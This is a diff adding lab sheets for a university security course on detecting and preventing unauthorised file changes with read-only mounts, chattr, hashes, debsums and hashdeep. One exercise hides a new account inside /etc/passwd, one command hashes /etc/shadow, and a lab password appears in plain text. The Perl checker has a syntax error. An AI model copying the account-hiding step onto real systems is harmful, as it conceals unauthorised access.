diff --git a/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/integrity_limitations.md.erb b/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/integrity_limitations.md.erb new file mode 100644 index 000000000..d6ab21c0e --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/integrity_limitations.md.erb @@ -0,0 +1,3 @@ +#### Limitations of integrity checking + +Perhaps the greatest limitation to all of these approaches, is that if a system is compromised, you may not be able to trust any of the tools on the system, or even the operating system itself to behave as expected. In the case of a security compromise, your configuration files may have been altered, including any hashes you have stored locally, and tools may have been replaced by Trojan horses. For this reason it is safer to run tools over the network or from a removable drive, with read-only access to protect your backups and hashes. Even then, the OS/kernel/shell may not be telling you the truth about what is happening, since a rootkit could be concealing the truth from other programs. diff --git a/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/intro.md.erb b/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/intro.md.erb new file mode 100644 index 000000000..552e16498 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/intro.md.erb @@ -0,0 +1,50 @@ +# Integrity Management: Detecting Change + +## Getting started +### VMs in this lab + +==Start these VMs== (if you haven't already): +- hackerbot_server (leave it running, you don't log into this) +- desktop + +### Your login details for the "desktop" VM +User: <%= $main_user %> +Password: tiaspbiqe2r (**t**his **i**s **a** **s**ecure **p**assword **b**ut **i**s **q**uite **e**asy **2** **r**emember) + +You won't login to the hackerbot_server, but the VM needs to be running to complete the lab. + +### For marks in the module +1. **You need to submit flags**. Note that the flags and the challenges in your VMs are different to other's in the class. Flags will be revealed to you as you complete challenges throughout the module. Flags look like this: ==flag{*somethingrandom*}==. Follow the link on the module page to submit your flags. +2. **You need to document the work and your solutions in a workbook**. This needs to include screenshots (including the flags) of how you solved each Hackerbot challenge and a writeup describing your solution to each challenge, and answering any "Workbook Questions". The workbook will be submitted later in the semester. + +## Meet Hackerbot! +![small-right](images/skullandusb.svg) + +This exercise involves interacting with Hackerbot, a chatbot who will attack your system. If you satisfy Hackerbot by completing the challenges, she will reveal flags to you. + +**On the desktop VM:** + +==Open Pidgin and send some messages to Hackerbot:== + +- Try asking Hackerbot some questions +- Send "help" +- Send "list" +- Send "hello" + +Work through the below exercises, completing the Hackerbot challenges as noted. + +--- + +## Integrity + +Security is often described in terms of confidentiality, integrity, and availability. Protecting the integrity of information involves preventing and detecting unauthorised changes. In many commercial organisations integrity of information is the highest priority security goal. Managing who is authorised to make changes to databases or files, and monitoring the integrity of resources for unauthorised changes is an important task in managing information security. + +## Protecting integrity + +Protecting the integrity of resources, such as the files on a system, involves successfully managing a variety of security mechanisms, such as authentication, access controls and file permissions, firewalls, and so on. + +> On Linux systems this can include managing passwords, packet filtering IPTables rules, standard Unix file permissions (rwx), Linux extended attributes (including ACLs for detailed authentication, labels for mandatory access control (MAC), and Linux Capabilities). Linux (like other Unix-like and Unix-based systems) has a long history of adding new security features as and when they are required. +> +> Note that many security controls such as those listed above are very important for protecting the integrity of files, but are beyond the scope of this lab. Here the focus is on techniques that are focussed on integrity rather than confidentiality or availability. + +There are precautions that can be taken to reduce the chances of unauthorised changes. diff --git a/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/labsheet.html.erb b/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/labsheet.html.erb new file mode 100644 index 000000000..0bb7cc90a --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/labsheet.html.erb @@ -0,0 +1,114 @@ + + + <%= self.title %> + + + + + +
+ <%= self.html_TOC_rendered %> +
+ +
+ <%= self.html_rendered %> +
+ + + diff --git a/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/license.md.erb b/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/license.md.erb new file mode 100644 index 000000000..c11478e8e --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/license.md.erb @@ -0,0 +1,6 @@ +## License +This lab by [*Z. Cliffe Schreuders*](http://z.cliffe.schreuders.org) at Leeds Beckett University is licensed under a [*Creative Commons Attribution-ShareAlike 3.0 Unported License*](http://creativecommons.org/licenses/by-sa/3.0/deed.en_GB). + +Included software source code is also licensed under the GNU General Public License, either version 3 of the License, or (at your option) any later version. + +![small](images/leedsbeckett-logo.png) diff --git a/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/resources.md.erb b/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/resources.md.erb new file mode 100644 index 000000000..374803e00 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/resources.md.erb @@ -0,0 +1,5 @@ +## Resources + +An excellent resource on the subject of integrity management is Chapter 20 of the excellent book *Practical Unix & Internet Security, 3rd Ed*, by Garfinkel et al (2003). + +Bind mounting: [http://lwn.net/Articles/281157/](http://lwn.net/Articles/281157/) \ No newline at end of file diff --git a/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/ro_mounting.md.erb b/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/ro_mounting.md.erb new file mode 100644 index 000000000..b35801e69 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/ro_mounting.md.erb @@ -0,0 +1,80 @@ +### Protecting integrity with read-only filesystems +#### Getting to know read-only mounting +On Unix, a filesystem is mounted to a particular point in the directory structure; for example, a USB thumb drive may be mounted to /media/myUSB/. Some filesystems will automatically mount read-only; for example, if you insert a CD-ROM, since those disks are physically read-only. It is possible to optionally mount almost any filesystem, such as a USB or even a directory, in read-only mode, which will make it practically impossible to write changes to it (without remounting or accessing the drive/directory in other ways, which normally only root can do). + +In new versions of Linux, it is possible to have a directory (one part of what is on a disk) present in the directory structure twice with different mount options (for example, /home/<%= $main_user %> and /home/<%= $main_user %>-read-only). This can be achieved by bind mounting, and then remounting to set the bind mount to read only. + +In a command prompt, ==run:== + +```bash +mount +``` +> Note that many of the devices and directories have been mounted for read and write access (**rw**). For security reasons, it can be safer to mount things as read-only, when we don't need to be able to make changes to the contents. + +Ordinary users can only read the /etc/ directory but the superuser root who owns the /etc/ directory can read and write to it. In the following example, you are going to mount the /etc/ directory to a mount point (another directory within the filesystem) and the contents of the /etc/ directory will be accessible via the mount point. + +List the contents of the /etc/ directory so you are familiar with its contents: + +```bash +ls /etc/ +``` +Create a new directory to be the mount point. ==Run:== + +```bash +mkdir /home/<%= $main_user %>/etc +``` +==Mount the /etc/ directory to the new mount point:== + +```bash +sudo mount -o bind /etc/ /home/<%= $main_user %>/etc/ +``` +Make sure the /etc/ directory is accessible via the home-etc directory mount point: + +```bash +ls /home/<%= $main_user %>/etc/ +``` +Ordinary users can only read but the superuser root can still write to the directory. Test this by creating a new file as the superuser root in the /home/<%= $main_user %>/etc/ directory: + +```bash +sudo touch /home/<%= $main_user %>/etc/newfile1 +``` +Check that a new file has been created using the following commands: + +```bash +ls -l /home/<%= $main_user %>/etc/newfile1 +``` + +```bash +ls -l /etc/newfile1 +``` + +We can use read only mounting to make filesystems and directories available read-only. Next you will ==remount /etc/ in read-only mode== so that even the superuser root who owns the /etc/ directory cannot make changes to its contents via the mount point. + +```bash +sudo mount -o remount,ro,bind /etc/ /home/<%= $main_user %>/etc/ +``` +==Test this== by trying to create a new file as the superuser root in the /home/<%= $main_user %>/etc/ directory: + +```bash +sudo touch /home/<%= $main_user %>/etc/newfile2 +``` + +This should prevent changes being accidentally being made to important configuration files in the /etc/ directory. + + +We can ==remount a directory as read-only to itself==: + +```bash +sudo mount -o bind <%= $example_dir %> <%= $example_dir %> +sudo mount -o remount,ro,bind <%= $example_dir %> <%= $example_dir %> +``` + +Now even the owner of the directory (you), can't make changes. ==Try:== + +```bash +cat > <%= $example_dir %>new_file +``` + +Mounting read-only can be an effective way of protecting resources that you don't need to make any changes to. Read-only mounting is particularly effective when an actual disk resides externally, and *can be enforced remotely*. For example, when sharing files over the network. + +> Note that mounting read-only may be circumvented by root (or a user with enough privilege) via direct access to the device files (/dev/sdc1 in the example above), or by re-mounting as read-write (when the mounting ro is not enforced via remote network share). diff --git a/modules/generators/structured_content/hackerbot_config/integrity_protection/integrity_protection.pp b/modules/generators/structured_content/hackerbot_config/integrity_protection/integrity_protection.pp new file mode 100644 index 000000000..e69de29bb diff --git a/modules/generators/structured_content/hackerbot_config/integrity_protection/manifests/.no_puppet b/modules/generators/structured_content/hackerbot_config/integrity_protection/manifests/.no_puppet new file mode 100644 index 000000000..e69de29bb diff --git a/modules/generators/structured_content/hackerbot_config/integrity_protection/secgen_local/local.rb b/modules/generators/structured_content/hackerbot_config/integrity_protection/secgen_local/local.rb new file mode 100644 index 000000000..7629a808b --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/integrity_protection/secgen_local/local.rb @@ -0,0 +1,19 @@ +#!/usr/bin/ruby +require_relative '../../../../../../lib/objects/local_hackerbot_config_generator.rb' + +class Integrity1 < HackerbotConfigGenerator + + def initialize + super + self.module_name = 'Hackerbot Config Generator Integrity' + self.title = 'Integrity management: protecting integrity' + + self.local_dir = File.expand_path('../../',__FILE__) + self.templates_path = "#{self.local_dir}/templates/" + self.config_template_path = "#{self.local_dir}/templates/integrity_lab.xml.erb" + self.html_template_path = "#{self.local_dir}/templates/labsheet.html.erb" + end + +end + +Integrity1.new.run \ No newline at end of file diff --git a/modules/generators/structured_content/hackerbot_config/integrity_protection/secgen_metadata.xml b/modules/generators/structured_content/hackerbot_config/integrity_protection/secgen_metadata.xml new file mode 100644 index 000000000..1c09d62dd --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/integrity_protection/secgen_metadata.xml @@ -0,0 +1,57 @@ + + + + Hackerbot config for a protecting integrity lab + Z. Cliffe Schreuders + GPLv3 + Generates a config file for a hackerbot for an integrity lab. + Topics covered: Protecting integrity with file attributes; + Protecting integrity with read-only filesystems. + + hackerbot_config + linux + + accounts + flags + root_password + + + + + + + vagrant + + + + + + + + + + + + + + + + + + + + + + + + + + + puppet + + + hackerbot + + \ No newline at end of file diff --git a/modules/generators/structured_content/hackerbot_config/integrity_protection/shared/labsheet.html.erb b/modules/generators/structured_content/hackerbot_config/integrity_protection/shared/labsheet.html.erb new file mode 100644 index 000000000..72dab611a --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/integrity_protection/shared/labsheet.html.erb @@ -0,0 +1,29 @@ + + + <%= self.title %> + + + + + +
+ + <%= self.html_rendered %> + +
+ + + diff --git a/modules/generators/structured_content/hackerbot_config/integrity_protection/shared/license.md.erb b/modules/generators/structured_content/hackerbot_config/integrity_protection/shared/license.md.erb new file mode 100644 index 000000000..8e89ace31 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/integrity_protection/shared/license.md.erb @@ -0,0 +1,4 @@ +## License +This lab by [*Z. Cliffe Schreuders*](http://z.cliffe.schreuders.org) at Leeds Beckett University is licensed under a [*Creative Commons Attribution-ShareAlike 3.0 Unported License*](http://creativecommons.org/licenses/by-sa/3.0/deed.en_GB). + +Included software source code is also licensed under the GNU General Public License, either version 3 of the License, or (at your option) any later version. diff --git a/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/detect_changes.md.erb b/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/detect_changes.md.erb new file mode 100644 index 000000000..825860781 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/detect_changes.md.erb @@ -0,0 +1,3 @@ +## Detecting changes to resources + +Although we can aim to protect integrity, eventually even the strongest defenses can fail, and when they do we want to know about it! In order to respond to a security incident we need to detect that one has occurred. One way we do so is to detect changes to files on our system. diff --git a/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/detect_changes_backups.md.erb b/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/detect_changes_backups.md.erb new file mode 100644 index 000000000..e9782150b --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/detect_changes_backups.md.erb @@ -0,0 +1,87 @@ +### Detecting changes to resources using backups + +One technique is to compare files to a backup known to represent the system or resources in a clean state. One advantage of this approach is that we detect that files have changed, and also see *exactly* how they differ. + +Make a directory to store your backups. ==Run:== + +```bash +mkdir /home/<%= $main_user %>/backups/ +``` + +==Make a backup copy of your /etc/passwd file:== + +```bash +cp /etc/passwd /home/<%= $main_user %>/backups/ +``` + +This file (/etc/passwd) is an important file on Unix systems, which lists the user accounts on the system. Although historically the hashes of passwords were once stored here, they are now typically stored in /etc/shadow. Changes to the /etc/passwd file are usually infrequent (such as when new user accounts are created) and changes should only be made for authorised purposes. + +==Add a new user== to your computer... + +```bash +sudo useradd new-username +``` +> Where ==*new-username*==, is some new name. + +To make things even more interesting, ==edit the /etc/passwd file== and move the new user account line somewhere other than right at the bottom, so that it is less obvious: + +```bash +sudo vi /etc/passwd +``` +> Move the cursor onto the line representing your new account (probably at the bottom). +> +> In vi type: +> :m *-==number==* +> +> Where ==*number*== is the number of lines to move up, for example: ':m -20' will move the currently selected line up 20 lines, 'hiding' the new user account amongst the others. +> +> Save your changes and exit vi by typing: +> +> :wq + +Look at the changes in your accounts made on your computer, and try to spot the new user account: + +```bash +less /etc/passwd +``` +> (q to exit) + +It's not as easy as it sounds, especially if your system has lots of user accounts. + +Since you have a backup of your passwd file, you can compare the backup with the current passwd file to determine it has been modified. One such tool for determining changes is diff. Diff is a standard Unix command. + +==Run:== + +```bash +diff -q /home/<%= $main_user %>/backups/passwd /etc/passwd +``` +Diff should report that the two files differ. Diff can also produce an easy to read description of exactly how the file has changed. This is a popular format used by programmers for sharing changes to source code: + +```bash +diff -u /home/<%= $main_user %>/backups/passwd /etc/passwd +``` + +The diff program can compare entire mirrored directory structures to each other. For example, if you wanted to know exactly what changes have happened since a backup. + +Make a backup of your personal_secrets. ==Run:== + +```bash +cp -r <%= $example_dir %> /home/<%= $main_user %>/backups/personal +``` +> The -r tells cp to copy directories and their contents recursively (including sub-directories) + +==Make a change to a file== in <%= $example_dir %> + +Then ==compare using diff:== + +```bash +diff -r -u <%= $example_dir %> /home/<%= $main_user %>/backups/personal/ +``` +> -r instructs diff to do a recursive comparison (searching through sub-directories) +> You can add *--suppress-common-lines* to reduce the amount of output + +There are many advantages to the comparison of backups approach to detecting changes, but it also has its limitations. To apply this approach to an entire system, you will need a large amount of either local or network shared storage, and writes need to be controlled to protect the backups, yet written to whenever authorised changes are made to keep the backup up-to-date. Also, when the comparisons are made **substantial disk/network access is involved**, since both both sources need to be read at the same time in order to do the comparison. + +In the example above, the backup was stored on the same computer. Did you think as an attacker of editing the backup passwd file? This is related to a major issue when checking for changes to the system: if your system has been compromised, then you can't necessarily trust any of the local software or files, since they may have been replaced or modified by an attacker. For that reason, it can be safer to run software (such as diff) from a separate read-only storage. Yet that still may not be enough, the entire operating system could be infected by a rootkit. + +> Aside: Filesystems, such as btrfs, that support history and snapshots can also be helpful for investigating breaches in integrity. diff --git a/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/file_attributes.md.erb b/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/file_attributes.md.erb new file mode 100644 index 000000000..5ca2ed8a6 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/file_attributes.md.erb @@ -0,0 +1,69 @@ +### Protecting integrity with file attributes +#### Getting to know file attributes +Unix systems (such as Linux or FreeBSD) include file attributes that, amongst other features, can make files immutable or append only. Setting these file attributes can provide an effective layer of security, and yet could be considered one of the more obscure Unix security features[^1]. Note that this feature is dependent on the use of a compatible filesystem (most Unix filesystems, such as ext, are compatible with file attributes). Once configured, file attributes can even prevent root (the all-powerful Unix superuser) from making changes to certain files. + +[^1]: Setting a file to immutable (and therefore impossible to simply delete) can be an effective prank against the uninitiated in Unix ways. + +==Run:== + +```bash +lsattr <%= $example_file %> +``` +`` + -------------e- <%= $example_file %> +`` + +The 'e' flag is common on ext filesystems, may or may not be present when you run the above, and does not really concern us. From a security perspective the 'a' and 'i' flags are the most interesting. Read the man page for chattr to find out more about these flags and what they do: + +```bash +man chattr +``` +> (Press q to leave the manual page) + +==Set the 'i' flag== using the chattr command: + +```bash +sudo chattr +i <%= $example_file %> +``` + +Now ==try to delete the file== and see what happens: + +```bash +rm <%= $example_file %> +``` +Denied! + +==Use root permissions== to try to delete the file: + +```bash +sudo rm <%= $example_file %> +``` + +It still didn't work! That's right, *even root can't delete the file*, without changing the file's attributes back first. + +==Use some commands to remove the 'i' flag== +> Hint: '-i', instead of '+i'. + +Now run a command to ==set the 'a' flag on <%= $example_file %>.== + +If you have done so correctly, attempting to overwrite the file with a test message should fail. ==Run:== + +```bash +sudo bash -c 'echo "test message" > <%= $example_file %>' +``` +> This should produce an error, since > causes the output of the program to be written to the specified log file, which is not allowed due to the chattr command you have run. + +Yet you should be able to append messages to the end of the file: + +```bash +sudo bash -c 'echo "YOURNAME: test message" >> <%= $example_file %>' +``` +> This should succeed, since >> causes the output of the program to be appended (added to the end of) to the specified log file, which is allowed. Use your name above, for example 'echo "==Cliffe==: test message" >> <%= $example_file %>'. + +==View your changes== at the end of the file: + +```bash +tail <%= $example_file %> +``` + +This has obvious security benefits, this feature can be used to allow files to be written to without altering existing content. For example, for ensuring that log files can be written to, but avoiding giving everyone who can write to the file the ability to alter its contents. diff --git a/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/file_permissions.md.erb b/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/file_permissions.md.erb new file mode 100644 index 000000000..41882b82a --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/file_permissions.md.erb @@ -0,0 +1,89 @@ +### Protecting integrity with file permissions +#### Getting to know file permissions + +File permissions enable users to control the access that other users have to their files. + +We will cover the topic in depth elsewhere. This just provides an introduction to Unix file permissions. + +Open a terminal console (such as "Konsole" from KDEMenu / Applications / System / Konsole). + +Start by creating a file with some content. + +==Run:== + +```bash +cat > /home/<%= $main_user %>/example +``` +> (Type some content, then press Ctrl-D to finish and return to the +prompt.) +> The output is sent to the file /home/<%= $main_user %>/example +> +> Note that in bash **you can type *~* as shorthand for your home directory** ("/home/*<%= $main_user %>*"), but for the sake of clarity these instructions list the entire name. + +You can read the content: + +```bash +cat /home/<%= $main_user %>/example +``` + +Or replace the content: + +```bash +cat > /home/<%= $main_user %>/example +``` +> (Type some content, then press Ctrl-D to finish and return to the +prompt.) + +You can view the file permissions with: + +```bash +ls -la /home/<%= $main_user %>/example +``` +`` -rw-r--r-- 1 user user 20 Feb 7 17:38 /home/<%= $main_user %>/example `` + +This shows that the file is owned by *user*, and that the user has read-write access ("rw-"), others on the system have read access ("r--"). + +By default new files can only be edited by the owner of the file (more on file permissions and umask another time). However, by default other users of the system can likely *read* your files. + +You can remove the ability of *anyone* changing the content. ==Run:== + +```bash +chmod -w /home/<%= $main_user %>/example +``` +> -w means "remove write access (for everyone)" + +Try changing the content. ==Run:== + +```bash +cat > /home/<%= $main_user %>/example +``` + +You can't. + +You can remove the ability of **everyone else** changing the content. ==Run:== + +```bash +chmod u+w,go-rw /home/<%= $main_user %>/example +``` +> u+w: user who owns the file, add write access +> go-rw: group and others, remove read and write access + + +You can view the file permissions with: + +```bash +ls -la /home/<%= $main_user %>/example +``` +`` -rw-------- 1 user user 20 Feb 7 17:38 /home/<%= $main_user %>/example `` + +Note that **the root user can access any files**, regardless of file permissions. + +```bash +chmod -w /home/<%= $main_user %>/example +sudo cat /home/<%= $main_user %>/example +``` +> Enter your password, and note that as root you can access the file regardless of permissions. + +"sudo" runs a command as another user (typically root). On Unix the root user (or any user with an uid of 0) is a superuser (i.e. administator) with extra privileges. + +Exploring Unix file permissions further is outside the scope of this lab, but will be covered elsewhere. diff --git a/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/fim.md.erb b/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/fim.md.erb new file mode 100644 index 000000000..a960e7cf6 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/fim.md.erb @@ -0,0 +1,125 @@ +### Detecting changes to resources using hashes and file integrity checkers + +Another technique for detecting modifications to files is to use hashes of files in their known good state. Rather than storing and comparing complete copies, a one way hash function can be used to produce a fixed length hash (or 'digest'), which can be used for later comparisons. + +Hashes have security properties that enable this use: + +- Each hash is unique to the input +- It is extremely difficult (practically impossible) to find another input that produces the same hash output +- Any change to the input (no matter how minor) changes the output hash dramatically + +We can store a hash and later recompute the hash, to determine whether the file has changed (if the hash is different), or it is exactly the same (if the hash is the same). If you have studied digital forensics, many of these concepts will be familiar to you, since hashes are also commonly used for verifying the integrity of digital evidence. + +==Generate an MD5 hash== of your backup password file, which you copied previously: + +```bash +md5sum /home/<%= $main_user %>/backups/passwd +``` + +Now ==calculate a hash== of your current passwd file: + +```bash +md5sum /etc/passwd +``` + +If the generated hashes are different, you know the files do not have **exactly the same content**. + +Note that using hashes, there is no need to have the backup on-hand in order to check the integrity of files, you can just compare a newly generated hash to a previous one. + +==Repeat the above two commands using shasum== rather than md5sum. + +SHA1, SHA2, and SHA3 are considered to be more secure than the 'cryptographically broken' MD5 algorithm. Although MD5 is still in use today, it is safer to use a stronger hash algorithm, since MD5 is not collision-resistant, meaning it is possible to find multiple files that result in the same hash. SHA1 is considered partially broken, so a new algorithm such as SHA2, or the newest SHA3 are currently a good options. There are a number of related commands for generating hashes, named md5sum, shasum, sha224sum, sha256sum, and so on. These commands (as well as those in the next section) are readily available on most Unix systems, and are also available for Windows. + +#### File integrity checkers + +A file integrity checker is a program that compares files to previously generated hashes. A number of these kinds of tools exist, and these can be considered a form of host-based intrusion detection system (HIDS), particularly if the checking happens automatically. One of the most well known integrity checkers is Tripwire, which was previously released open source; although, new versions are closed source and maintained by Tripwire, Inc, with a more holistic enterprise ICT change management focus. There are other tools similar to Tripwire, such as AIDE (Advanced Intrusion Detection Environment), and OSSEC (Open Source Host-based Intrusion Detection System). + +The above md5sum, shasum (and so on) programs can also be used to check a list of file hashes. + +==Run the following== to generate a file containing hashes of files we can later check against: + +```bash +mkdir /home/<%= $main_user %>/hashes/ + +shasum <%= $example_file %> >> /home/<%= $main_user %>/hashes/hash.sha +shasum /etc/passwd >> /home/<%= $main_user %>/hashes/hash.sha +sudo shasum /etc/shadow >> /home/<%= $main_user %>/hashes/hash.sha +shasum /bin/bash >> /home/<%= $main_user %>/hashes/hash.sha +shasum /bin/ls >> /home/<%= $main_user %>/hashes/hash.sha +``` + +==Look at the contents== of our new hashes file: + +```bash +less /home/<%= $main_user %>/hashes/hash.sha +``` +> Press q to quit when done + +Now use your new hash list to ==check that nothing has changed== since we generated the hashes: + +```bash +shasum -c /home/<%= $main_user %>/hashes/hash.sha +``` + +==Lab book question: Why does shasum fail to check the integrity of the shadow file?== + +==Make a change== to the end of <%= $example_file %>: + +```bash +echo "hello" >> *your-name* +``` + +Check whether anything has changed since we generated hashes: + +```bash +shasum -c /home/<%= $main_user %>/hashes/hash.sha +``` + +You should see a nice explanation of the files that have changed since generating the hashes. + +#### Scripted integrity checking + +The above can also be accomplished via a simple script (in this case a Perl script): + +```perl + #!/usr/bin/perl + # Copyleft Z. Cliffe Schreuders + # Licenced under the terms of the GPLv3 + + use warnings; + use strict; + + my %files_hashes = ( + "/etc/passwd"=>"69773dcef97bca8f689c5bc00e9335f7dd3d9e08" + "/bin/ls"=>"9304c5cba4e2a7dc25c2d56a6da6522e929eb848", + "/bin/bash"=>"54d0d9610e49a654843497c19f6211b3ae41b7c0", + ); + + foreach my $file_entry (keys %files_hashes) { + my $hash = `sha1sum $file_entry|awk '{print \$1}'|head -n1`; + chomp($hash); + if($hash ne $files_hashes{$file_entry}){ + warn "FILE CHANGED: $file_entry (hash was $hash, expected $files_hashes{$file_entry})\n"; + } else { + print "File unmodified: $file_entry (hash was $hash, as expected)\n"; + } + } +``` + +This script iterates over a list of file paths with SHA1 hashes (stored in an associative array), and runs sha1sum for each one to check whether the files are still the same. + +==Save the script as checker.pl== +> Tip: you may wish to use the default KDE GUI text editor Kate. You should be able to copy the script and paste it into Kate to save it as checker.pl. +> +> Alternatively you can type: +> "cat > checker.pl" +> Paste with Ctrl-Shift-V. +> Then, Ctrl-D, to end the input. + +Then ==run the script== with: + +```bash +perl checker.pl +``` + +==Lab book question: Are the files reported as unmodified, or have they changed? Why might they be different to when I wrote the script?== diff --git a/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/fim_package_management.md.erb b/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/fim_package_management.md.erb new file mode 100644 index 000000000..2c5f26457 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/fim_package_management.md.erb @@ -0,0 +1,53 @@ +#### Detecting changes to resources using package management + +On Linux systems, package management systems are used to organise, install, and update software. The package management system has a database that keeps track of all the files for each program or software package. Depending on the package management system used, the database may maintain hashes in order to detect changes to files since install. DEB-based systems (such as Debian, and Ubuntu) and RPM-based systems (such as Red Hat, Fedora, and OpenSUSE), typically store hashes of each file that is included in software packages. There are commands that can be used to detect changes to files that have occurred since being installed by the package management software. + +Note that there are times where it is perfectly normal for a number of files to not match the 'fresh' versions that were installed: for example, configuring a system for use will involve editing configuration files that were distributed with software packages. + +==View the files containing MD5 hashes== stored for the packages on the system: +```bash +ls /var/lib/dpkg/info/*.md5sums +``` + +==View the contents== of one of the files. + +debsums is a program that can use those MD5 hashes to verify that files on a DEB-based system match the corresponding packages that are installed. By default it doesn't check configuration files (such as in /etc/). + +Verify all files installed by all packages: +```bash +sudo debsums -ac +``` +> Ctrl-C to end the program early. +> Options for debsum include: +> -a also check config files +> -e *only* check config files +> -c only report *changed* files + +Verify the files installed by a specific package: +```bash +sudo debsums firefox +``` + +Choose any system file on the computer, such as /etc/securetty. To determine which package the file belongs to: + +```bash +dpkg-query -S *any-file-you-chose* +``` +> Where ==any-file-you-chose== is any file such as /etc/securetty. + +The output of that command contains the package-name, and is required in the next +step. + +Check the integrity of the file: + +```bash +sudo debsums -a *package-name* +``` +> Where package-name is the output from the previous command. + +Try to understand the cause of any files failing the integrity checks. + +==Workbook question: What are the limitations of this approach?== + +- What files will (and won't) this approach to integrity management cover? +- Are the hashes protected against tampering? diff --git a/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/fim_recursive.md.erb b/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/fim_recursive.md.erb new file mode 100644 index 000000000..1f436705a --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/fim_recursive.md.erb @@ -0,0 +1,124 @@ +#### Recursive file integrity checkers + +The md5deep program (also known as sha1deep, sha256deep, and so on for different hash algorithms) can recursively walk through directories (and into all contained subdirectories) to generate and check lists of hashes. + +==Run:== + +```bash +sudo sha1deep -r /etc/ +``` +> You can stop the program early by pressing Ctrl-C + +The output of the above command will include hashes of every file in /etc/, which is where system-wide configuration files are stored on Unix. + +Read the sha1deep manual to understand the above command: + +```bash +man sha1deep +``` +> ==Figure out what the -r flag does.== +> +> (q to quit) + +We can save (redirect) this output to a file so that we have a record of the current state of our system's configuration: + +```bash +sudo sha1deep -r /etc > /home/<%= $main_user %>/hashes/etc_hashes +``` + +This may take a minute or so, while the program calculates all the hashes and sends them to standard out (known as stdout), which is then redirected to the etc_hashes file. + +Next, let's compare the size of our list of hashes, with the actual content that we have hashed... + +See how big our list of hashes is: + +```bash +ls -hs /home/<%= $main_user %>/hashes/etc_hashes +``` +> (-h = human readable, -s = size) + +This is likely to be in the Kilobytes. + +And for the size of all of the files in /etc/: + +```bash +sudo du -hs /etc/ +``` +> (-h = human readable, -s summarise) + +This is likely in the Megabytes (or maybe even Gigabytes). + +Clearly, **the list of hashes is much smaller**. + +Create a new file somewhere in /etc/, containing your name. Name the file whatever you like (for example /etc/test). +> Hint: 'sudo vi /etc/test', 'i' to enter insert mode, and after typing your name, 'Esc', ':wq'. + +Also, change an existing file in /etc/, but do be careful to only make a minor change that will **not cause damage to your system**. For example, you could use vi to edit /etc/hostname ('sudo vi /etc/hostname'), and add a comment to the file such as '#find this comment!' + +Lets try to identify what has changed on our system... + +Now that we have a list of hashes of our files, ==use shasum to check if anything has changed using our newly generated list of hashes== (/home/<%= $main_user %>/hashes/etc_hashes). + +> Hint: look at the previous command using shasum to check hashes. + +Does this detect our the changed file AND the new file? Why not? + +Md5deep/sha1deep takes a different approach to checking integrity, by checking all of the files it is told to check (possibly recursing over all files in a directory) against a list of hashes, and reporting whether any files it checked did not (or did, depending on the flags used) have its hash somewhere in the hash list. + +Run sha1deep to check whether any files in /etc/ do not match a hash previously generated: + +```bash +sudo sha1deep -X /home/<%= $main_user %>/hashes/etc_hashes -r /etc +``` + +This should detect both modified files, both new and modified. + +But would sha1deep detect a copy of an existing file, to a new location? + +Try it: + +```bash +sudo cp /etc/passwd /etc/passwd.backup +``` + +Now rerun the previous sha1deep command. Was the copy detected? Why not? + +What about copying one file over another? Which out of shasum or sha1deep would detect that? + +Another tool, hashdeep, which is included with md5deep, provides more coverage when it comes to detecting files that have moved, changed, or created. + +Generate a hash list for /etc using hashdeep: + +```bash +sudo hashdeep -r /etc/ > /home/<%= $main_user %>/hashes/etc_hashdeep_hashes +``` + +Hashdeep stores hashes in a different format than the previous tools. Have a look: + +```bash +less /home/<%= $main_user %>/hashes/etc_hashdeep_hashes +``` +> (q to quit) +> +> Note that the output includes some more information, such as the file size for each file. + +Delete the new file that you created earlier: + +```bash +sudo rm /etc/*whatever-the-filename-was* +``` + +Conduct a hashdeep audit to detect any changes: + +```bash +sudo hashdeep -r -a -k /home/<%= $main_user %>/hashes/etc_hashdeep_hashes /etc +``` +> Note, that this can take a while, so feel free to start working through the next section in another terminal, if you like. + +After, run it again, this time asking for more details, since the default message does not provide any information as to why an audit has failed: + +```bash +sudo hashdeep -rakvv /tmp/etc_hashdeep_hashes /etc +``` + +Consult the 